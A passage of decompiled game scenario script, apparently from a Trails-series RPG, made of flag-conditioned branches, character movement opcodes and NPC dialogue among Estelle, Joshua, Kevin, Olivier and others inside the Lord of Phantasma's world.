Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x562, 5)), scpexpr(EXPR_END)), "loc_1982")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 7)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_187E")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CD, 0)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_1743")
TalkBegin(0xFE)
ChrTalk( #37
0x1E,
(
"#1008FI'm feeling kinda hungry, so I came over here\x01",
"to get something to eat.\x02\x03",
"#1019FWh-What are you looking at me like that for?! \x01",
"Exercise makes you hungry! It's a fact of life!\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_173D")
ChrTalk( #38
0x10F,
(
"#1447FI couldn't agree more, Estelle.\x02\x03",
"#1448FThat's a universal rule of this world.\x01",
"To try to deny it would be folly.\x02",
)
)
CloseMessageWindow()
ChrTalk( #39
0x109,
"#1068F(These two sure have a lot in common...)\x02",
)
CloseMessageWindow()
label("loc_173D")
TalkEnd(0xFE)
Jump("loc_1878")
label("loc_1743")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #40
0x1E,
(
"#1007F*sigh* I wish those two could get along...\x02\x03",
"I wanna do something to help on that front,\x01",
"but I'm not sure what I can do.\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_1833")
ChrTalk( #41
0x109,
(
"#1061F(Oh, I'm sure you could if you put\x01",
"your mind to it, Estelle.)\x02",
)
)
CloseMessageWindow()
Jump("loc_1870")
label("loc_1833")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xE)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_1853")
ChrTalk( #42
0x10F,
"#1440F...\x02",
)
CloseMessageWindow()
Jump("loc_1870")
label("loc_1853")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_1870")
ChrTalk( #43
0x110,
"#1300F...\x02",
)
CloseMessageWindow()
label("loc_1870")
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_1878")
OP_A2(0x7)
Jump("loc_1982")
label("loc_187E")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CD, 0)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_18F7")
ChrTalk( #44
0x1E,
(
"#1015FI'm feeling kinda thirsty, too...\x02\x03",
"#1006FMaybe I could go for some ice cream\x01",
"or something?\x02",
)
)
CloseMessageWindow()
Jump("loc_197A")
label("loc_18F7")
ChrTalk( #45
0x1E,
(
"#1007F*sigh* I wish those two could get along...\x02\x03",
"I wanna do something to help on that front,\x01",
"but I'm not sure what I can do.\x02",
)
)
CloseMessageWindow()
label("loc_197A")
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_1982")
Return()
# Function_3_12EE end
def Function_4_1983(): pass
label("Function_4_1983")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x584, 0)), scpexpr(EXPR_END)), "loc_206D")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 7)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_EXEC_OP, "OP_42(0x8)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_1E2C")
TurnDirection(0x16, 0x109, 0)
ChrTalk( #46
0x16,
(
"#1500FIt's weird how it feels like we've known each\x01",
"other for such a long time...but when you\x01",
"think about it, it hasn't been that long at all.\x02",
)
)
CloseMessageWindow()
ChrTalk( #47
0x109,
(
"#1075FHahaha. True enough.\x02\x03",
"#1840FYou know...I might as well tell you this now.\x02\x03",
"Right now, I'm pretty damn jealous of you,\x01",
"Joshua.\x02",
)
)
CloseMessageWindow()
ChrTalk( #48
0x16,
"#1504F...You are?\x02",
)
CloseMessageWindow()
ChrTalk( #49
0x109,
(
"#1844FWhen you think about it, we've walked fairly\x01",
"similar paths in life, right?\x02\x03",
"But while I'm still feeling my way around in the\x01",
"dark, you managed to make it back out into the\x01",
"light again.\x02\x03",
"#1846FI didn't really feel this way when you were finally\x01",
"free from the Stigma and able to move on and all...\x02\x03",
"...but now? That's a whole different story.\x02",
)
)
CloseMessageWindow()
ChrTalk( #50
0x16,
(
"#1514F...You know? I think I know why, too.\x02\x03",
"#1513FIt's probably because before now, you'd given\x01",
"up on ever being able to come back to the light.\x01",
"Except now, you want to believe you can again.\x02",
)
)
CloseMessageWindow()
ChrTalk( #51
0x109,
(
"#1068FMan...you've got me all figured out.\x02\x03",
"#1066FHaha... Pretty pitiful of me, huh?\x02",
)
)
CloseMessageWindow()
ChrTalk( #52
0x16,
(
"#1509FMaybe, but there's no harm in that.\x02\x03",
"#1501FBefore that, though, we've got to get\x01",
"out of this world. \x02\x03",
"But as long as we believe in ourselves,\x01",
"I'm sure we can manage that.\x02",
)
)
CloseMessageWindow()
ChrTalk( #53
0x109,
"#1840FFor sure.\x02",
)
CloseMessageWindow()
OP_A2(0x2667)
Jump("loc_2067")
label("loc_1E2C")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 1)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_1F46")
ChrTalk( #54
0x16,
(
"#1505FThe Lord of Phantasma keeps referring to us as\x01",
"pieces on a game board.\x02\x03",
"#1502FAnd it's obvious enough that unless we all work\x01",
"together, there's no way we're getting out of\x01",
"here.\x02\x03",
"Especially with how fixated she is on playing by\x01",
"the rules she's established.\x02",
)
)
CloseMessageWindow()
OP_A2(0x1)
Jump("loc_2067")
label("loc_1F46")
ChrTalk( #55
0x16,
(
"#1502FIt's obvious enough that unless we all work\x01",
"together, there's no way we're getting out of\x01",
"here.\x02\x03",
"#1503FThat's probably one of the rules that governs\x01",
"the world itself.\x02\x03",
"But at the same time, it feels like the Lord of\x01",
"Phantasma herself is defined by the rules of\x01",
"this world, too.\x02",
)
)
CloseMessageWindow()
label("loc_2067")
TalkEnd(0xFE)
Jump("loc_2D8F")
label("loc_206D")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 7)), scpexpr(EXPR_END)), "loc_2D8F")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 6)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_2966")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_2259")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
ChrTalk( #56
0x110,
(
"#264F...Joshua?\x02\x03",
"#260FWhat are you doing here?\x02",
)
)
CloseMessageWindow()
OP_62(0xFE, 0x0, 2000, 0x26, 0x26, 0xFA, 0x1)
Sleep(1000)
TurnDirection(0x16, 0x110, 400)
Sleep(300)
ChrTalk( #57
0x16,
(
"#1513FOh, not much...\x02\x03",
"#1500FI was just giving some thought to what we\x01",
"might find ourselves up against during the\x01",
"remainder of our time here.\x02",
)
)
CloseMessageWindow()
ChrTalk( #58
0x110,
(
"#266F*sigh* Why would you waste time doing that\x01",
"when we'll find out by proceeding anyway?\x02\x03",
"#262FYou don't need to worry about anything as\x01",
"long as I'm with you all.\x02",
)
)
CloseMessageWindow()
ChrTalk( #59
0x16,
"#1509FHaha. I suppose you're right.\x02",
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_2963")
label("loc_2259")
RunExpression(0x2, (scpexpr(EXPR_GET_CHR_WORK, 0x16, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
RunExpression(0x3, (scpexpr(EXPR_GET_CHR_WORK, 0x17, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
EventBegin(0x0)
OP_4A(0x16, 0)
OP_4A(0x17, 0)
TurnDirection(0x16, 0x101, 0)
TurnDirection(0x0, 0x16, 0)
TurnDirection(0x1, 0x16, 0)
TurnDirection(0x2, 0x16, 0)
TurnDirection(0x3, 0x16, 0)
RunExpression(0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
RunExpression(0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
RunExpression(0x6, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x3), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
RunExpression(0x7, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_2446")
TurnDirection(0x105, 0x101, 0)
ChrTalk( #60
0x101,
(
"#1000F...Joshua?\x02\x03",
"What're you doing here?\x02",
)
)
CloseMessageWindow()
ChrTalk( #61
0x16,
"#1505FOh, I was just thinking about Renne...\x02",
)
CloseMessageWindow()
Sleep(500)
Fade(800)
SetChrPos(0x10F, 58170, 1000, -57430, 147)
SetChrPos(0xF0, 58610, 1000, -57100, 129)
SetChrPos(0xF1, 60960, 1000, -56480, 129)
SetChrPos(0x101, 60320, 1000, -59930, 129)
SetChrPos(0x105, 58640, 1000, -59150, 133)
TurnDirection(0x101, 0x105, 0)
TurnDirection(0x16, 0x105, 0)
TurnDirection(0x105, 0x101, 0)
OP_6D(64870, -50, -60500, 0)
OP_67(0, 4290, -10000, 0)
OP_6B(6020, 0)
OP_6C(71000, 0)
OP_6E(203, 0)
OP_0D()
Sleep(500)
ChrTalk( #62
0x105,
(
"#1382FThe two of you have been trying to find\x01",
"her ever since you left Liberl, right?\x02",
)
)
CloseMessageWindow()
Jump("loc_25AB")
label("loc_2446")
TurnDirection(0x17, 0x101, 0)
ChrTalk( #63
0x101,
(
"#1000F...Hmm?\x02\x03",
"What're you guys doing here?\x02",
)
)
CloseMessageWindow()
ChrTalk( #64
0x16,
"#1505FWe were just talking about Renne.\x02",
)
CloseMessageWindow()
Sleep(500)
Fade(800)
SetChrPos(0x10F, 58040, 1000, -58350, 129)
SetChrPos(0xF0, 58610, 1000, -57100, 129)
SetChrPos(0xF1, 60960, 1000, -56480, 129)
SetChrPos(0x101, 59430, 1000, -60340, 129)
TurnDirection(0x101, 0x17, 0)
TurnDirection(0x16, 0x17, 0)
TurnDirection(0x17, 0x101, 0)
OP_6D(64870, -50, -60500, 0)
OP_67(0, 4290, -10000, 0)
OP_6B(6020, 0)
OP_6C(71000, 0)
OP_6E(203, 0)
OP_0D()
Sleep(500)
ChrTalk( #65
0x17,
(
"#1382FThe two of you have been trying to find her\x01",
"ever since you left Liberl, right?\x02",
)
)
CloseMessageWindow()
label("loc_25AB")
ChrTalk( #66
0x101,
(
"#1003FYeah... I don't feel like we got to talk to her\x01",
"properly back at the Axis Pillar.\x02\x03",
"#1007FThere's something I really want to tell her,\x01",
"too...and I'm not going to be satisfied until\x01",
"I've done it.\x02",
)
)
CloseMessageWindow()
OP_8C(0x101, 129, 400)
OP_8C(0x17, 129, 400)
OP_8C(0x16, 129, 400)
OP_62(0x101, 0x0, 2000, 0x18, 0x1B, 0xFA, 0x0)
Sleep(2000)
OP_63(0x101)
Sleep(300)
ChrTalk( #67
0x101,
(
"#1016FHeehee. Still, she looks like she's doing okay.\x02\x03",
"#1017FSo I think the best thing to do for now is keep\x01",
"watching over her and see what happens.\x02",
)
)
CloseMessageWindow()
ChrTalk( #68
0x16,
(
"#1501F...That might be for the best, yeah.\x02\x03",
"#1513FAt the end of the day, she needs to be the one who\x01",
"chooses what to do. Nothing good's going to come\x01",
"from pushing her to make that call any faster.\x02\x03",
"I just hope that ending up here with us and\x01",
"everyone else has a positive effect on her.\x02\x03",
"#1500FBut all we can really do is wait and see, huh?\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_28D9")
ChrTalk( #69
0x105,
"#1168F...Yes, I think you're right.\x02",
)
CloseMessageWindow()
Jump("loc_2902")
label("loc_28D9")
ChrTalk( #70
0x17,
"#1168F...Yes, I think you're right.\x02",
)
CloseMessageWindow()
label("loc_2902")
Sleep(500)
Fade(500)
ClearChrFlags(0x0, 0x8)
ClearChrFlags(0x1, 0x8)
ClearChrFlags(0x2, 0x8)
ClearChrFlags(0x3, 0x8)
OP_51(0x0, 0x1, (scpexpr(EXPR_GET_RESULT, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x2, (scpexpr(EXPR_GET_RESULT, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x3, (scpexpr(EXPR_GET_RESULT, 0x6), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x4, (scpexpr(EXPR_GET_RESULT, 0x7), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_4B(0x16, 0)
OP_4B(0x17, 0)
OP_51(0x16, 0x4, (scpexpr(EXPR_GET_RESULT, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x17, 0x4, (scpexpr(EXPR_GET_RESULT, 0x3), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_A2(0x2666)
EventEnd(0x6)
label("loc_2963")
Jump("loc_2D8F")
label("loc_2966")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 1)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_2C0B")
OP_A2(0x1)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_2AA3")
ChrTalk( #71
0x16,
(
"#1505FIf Renne's theory that this world was molded into\x01",
"its current form by the Lord of Phantasma is true...\x02\x03",
"...I can only assume the rest of the planes in here\x01",
"will be tailored to forwarding whatever their goal\x01",
"is, too.\x02\x03",
"#1503FI doubt said goal is in our best interests, either.\x02",
)
)
CloseMessageWindow()
Jump("loc_2C08")
label("loc_2AA3")
ChrTalk( #72
0x16,
(
"#1501FWe're better off just keeping watch over Renne for\x01",
"the time being.\x02\x03",
"At the end of the day, she needs to be the one who\x01",
"chooses what to do. Nothing good's going to come\x01",
"from pushing her to make that call any faster.\x02\x03",
"#1513F...Personally, I'm hoping that meeting everyone here\x01",
"like this will end up having a positive effect on her\x01",
"in the long run.\x02",
)
)
CloseMessageWindow()
label("loc_2C08")
Jump("loc_2D8C")
label("loc_2C0B")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_2CAA")
ChrTalk( #73
0x16,
(
"#1505FThe Lord of Phantasma clearly has some kind of\x01",
"'game' for us in mind...#1200W #20W \x01",
"#1503FI can't see it being very enjoyable for us, either.\x02",
)
)
CloseMessageWindow()
Jump("loc_2D8C")
label("loc_2CAA")
ChrTalk( #74
0x16,
(
"#1501FWe're better off just keeping watch over Renne for\x01",
"the time being.\x02\x03",
"At the end of the day, she needs to be the one who\x01",
"chooses what to do. Nothing good's going to come\x01",
"from pushing her to make that call any faster.\x02",
)
)
CloseMessageWindow()
label("loc_2D8C")
TalkEnd(0xFE)
label("loc_2D8F")
Return()
# Function_4_1983 end
def Function_5_2D90(): pass
label("Function_5_2D90")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x561, 0)), scpexpr(EXPR_END)), "loc_33C1")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 6)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_3268")
TalkBegin(0xFE)
RunExpression(0x2, (scpexpr(EXPR_GET_CHR_WORK, 0x14, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xD)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_2FA8")
TurnDirection(0xFE, 0x10E, 0)
ChrTalk( #75
0x19,
(
"#1541FWhy, hello, Julia.\x02\x03",
"It's occurred to me that I never did properly\x01",
"thank you for your assistance during my return\x01",
"to Erebonia.\x02\x03",
"#1547FSo, what say you? Would you like to accompany\x01",
"me for a drink or two? On me, of course.\x02",
)
)
CloseMessageWindow()
ChrTalk( #76
0x10E,
"#172FI... Well... I'm not sure that would be...\x02",
)
CloseMessageWindow()
OP_4A(0x14, 255)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xD)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_2F10")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_2F06")
TurnDirection(0x10D, 0x10E, 400)
Jump("loc_2F0D")
label("loc_2F06")
TurnDirection(0x14, 0x10E, 400)
label("loc_2F0D")
Jump("loc_2F2F")
label("loc_2F10")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_2F28")
TurnDirection(0x10D, 0x13, 400)
Jump("loc_2F2F")
label("loc_2F28")
TurnDirection(0x14, 0x13, 400)
label("loc_2F2F")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_2F6C")
ChrTalk( #77
0x10D,
"#272FFeel free to ignore him, Captain.\x02",
)
CloseMessageWindow()
Jump("loc_2F98")
label("loc_2F6C")
ChrTalk( #78
0x14,
"#272FFeel free to ignore him, Captain.\x02",
)
CloseMessageWindow()
label("loc_2F98")
OP_4B(0x14, 255)
OP_51(0x14, 0x4, (scpexpr(EXPR_GET_RESULT, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_325F")
label("loc_2FA8")
ChrTalk( #79
0x19,
(
"#1545FHeh. I've begun to think this may be a good\x01",
"chance to get to know Julia a little better.\x02\x03",
"#1542FI've been waiting for my chance to strike...\x02",
)
)
CloseMessageWindow()
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_3205")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_3096")
ChrTalk( #80
0x102,
"#1505FI...wouldn't recommend it, Olivier. Really.\x02",
)
CloseMessageWindow()
Jump("loc_316A")
label("loc_3096")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x0)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_30FB")
ChrTalk( #81
0x101,
(
"#1007F*sigh* If you thought my staff was bad,\x01",
"wait until you meet her sword...\x02",
)
)
CloseMessageWindow()
Jump("loc_316A")
label("loc_30FB")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_316A")
ChrTalk( #82
0x105,
(
"#1165FA-Ahaha...\x02\x03",
"I...strongly wouldn't recommend it. Really,\x01",
"I say that for your own good.\x02",
)
)
CloseMessageWindow()
label("loc_316A")
ChrTalk( #83
0x10D,
(
"#274FHow many times must I tell you not to cause\x01",
"trouble before it gets through that seemingly\x01",
"impenetrable skull of yours?\x02\x03",
"Stay here and behave.\x02",
)
)
CloseMessageWindow()
Jump("loc_325F")
label("loc_3205")
ChrTalk( #84
0x19,
(
"#1541F...but unfortunately, Mueller caught me before \x01",
"I could make good on my plans.\x02",
)
)
CloseMessageWindow()
label("loc_325F")
OP_A2(0xE)
TalkEnd(0xFE)
Jump("loc_33BE")
label("loc_3268")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_3359")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xD)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_32E2")
TurnDirection(0x19, 0x10E, 0)
ChrTalk( #85
0x19,
(
"#1547FHohoho! It would be my pleasure to treat you\x01",
"to a drink later, Julia.\x02",
)
)
CloseMessageWindow()
Jump("loc_3353")
label("loc_32E2")
ChrTalk( #86
0x19,
(
"#1542FHmm... Now, how shall I go about this...?\x02\x03",
"A good chance just doesn't seem to be\x01",
"presenting itself...\x02",
)
)
CloseMessageWindow()
label("loc_3353")
TalkEnd(0xFE)
Jump("loc_33BE")
label("loc_3359")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
OP_4A(0x14, 255)
ChrTalk( #87
0x19,
"#1541FMy dear friend, you misunderstand me!\x02",
)
CloseMessageWindow()
OP_62(0x14, 0x0, 2000, 0xC, 0xD, 0xFA, 0x2)
OP_22(0x31, 0x0, 0x64)
Sleep(1000)
OP_4B(0x14, 255)
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_33BE")
Jump("loc_46BC")
label("loc_33C1")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x560, 0)), scpexpr(EXPR_END)), "loc_3713")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_3458")
Jump("loc_349A")
label("loc_3458")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_3474")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_349A")
label("loc_3474")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_3490")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_349A")
label("loc_3490")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_349A")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 6)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_3615")
ChrTalk( #88
0x19,
(
"#1540FHello, Kevin.\x02\x03",
"#1545FIt sure seems like you've got quite a lot on your\x01",
"mind.\x02\x03",
"I won't force you to tell us everything, but given\x01",
"that we've all been caught up in this, I think it's\x01",
"fair to expect some kind of explanation. \x02",
)
)
CloseMessageWindow()
ChrTalk( #89
0x109,
(
"#1843FYou'll get one. I promise.\x02\x03",
"#1060FHope you don't mind waiting a little bit longer.\x02",
)
)
CloseMessageWindow()
OP_A2(0xE)
Jump("loc_3708")
label("loc_3615")
ChrTalk( #90
0x19,
(
"#1545FI can appreciate that someone in your line of\x01",
"work will have plenty of things they can't speak\x01",
"of freely...\x02\x03",
"#1540F...but given that we've all been caught up in this,\x01",
"I think it's fair to expect some kind of explanation\x01",
"eventually.\x02",
)
)
CloseMessageWindow()
label("loc_3708")
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
Jump("loc_46BC")
label("loc_3713")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x520, 5)), scpexpr(EXPR_END)), "loc_3BF8")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xC)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_39A2")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
